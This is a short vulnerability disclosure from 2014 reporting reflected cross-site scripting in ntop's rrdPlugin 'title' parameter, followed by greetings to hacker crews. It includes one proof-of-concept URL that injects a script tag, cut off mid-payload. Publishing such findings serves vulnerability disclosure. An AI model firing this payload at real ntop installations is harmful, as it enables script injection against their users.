ntop Cross Site Scripting

`###############################################################################   
# Exploit Title : ntop, Web-based Traffic Analysis and Flow Collection tool reflected xss vulnerability  
# Author : Manish Kishan Tanwar   
# Vendor : httphttp://www.ntop.org  
# Date : 10/06/2014   
#Discovered @ : INDISHELL Lab  
# Love to : zero cool,Team indishell,Hardeep Singh  
#email : [email protected]  
##############################################################################   
////////////////////////  
/// Overview:   
////////////////////////   
ntop is Web-based Traffic Analysis and Flow Collection tool which is use to monitor network traffic.  
its web interface suffers from xss vulnerability.   
  
///////////////////////////////  
// Vulnerability Description:   
///////////////////////////////  
title paramter in link   
http://localhost:3000/plugins/rrdPlugin?action=list&key=interfaces/eth0&title=interface eth0  
doesnt check for values before displaying them on web page because of which it is vulnerable to xss  
  
//////////////////////////////  
/// Proof of Concept: -  
//////////////////////////////  
here is the example url injected with simple xss payload  
http://localhost:3000/plugins/rrdPlugin?action=list&key=interfaces/eth0&title=interface eth0</title><script>alert('vulnerable to   
  
  
--==[[ Greetz To ]]==--  
############################################################################################  
#Guru ji zero ,code breaker ica, root_devil, google_warrior,INX_r0ot,Darkwolf indishell,Baba,   
#Silent poison India,Magnum sniper,Atul Dwivedi ethicalnoob Indishell,Local root indishell,  
#Irfninja indishell,Reborn India,L0rd Crus4d3r,cool toad,cool shavik,Hackuin,Alicks,Ebin V Thomas   
#Dinelson Amine,Th3 D3str0yer,SKSking,Mr. Trojan,rad paul,Godzila,mike waals,zoozoo,  
#The creator,cyber warrior,Neo hacker ICA,Suriya Prakash, cyber gladiator,Cyber Ace,   
#Golden boy INDIA,Ketan Singh,Yash,Aneesh Dogra,AR AR,saad abbasi,hero,Minhal Mehdi ,Raj bhai ji ,  
#Hacking queen,lovetherisk,brown suger and rest of TEAM INDISHELL  
#############################################################################################  
--==[[Love to]]==--  
# My Father ,my Ex Teacher,cold fire hacker,Mannu, ViKi ,Ashu bhai ji,Soldier Of God, Bhuppi,  
#Mohit,Ffe,Ashish,Shardhanand,Budhaoo,Anju Gulia,Don(Deepika kaushik) and acche bacchi(Jagriti)  
--==[[ Special Fuck goes to ]]==--  
<3 suriya Cyber Tyson <3  
`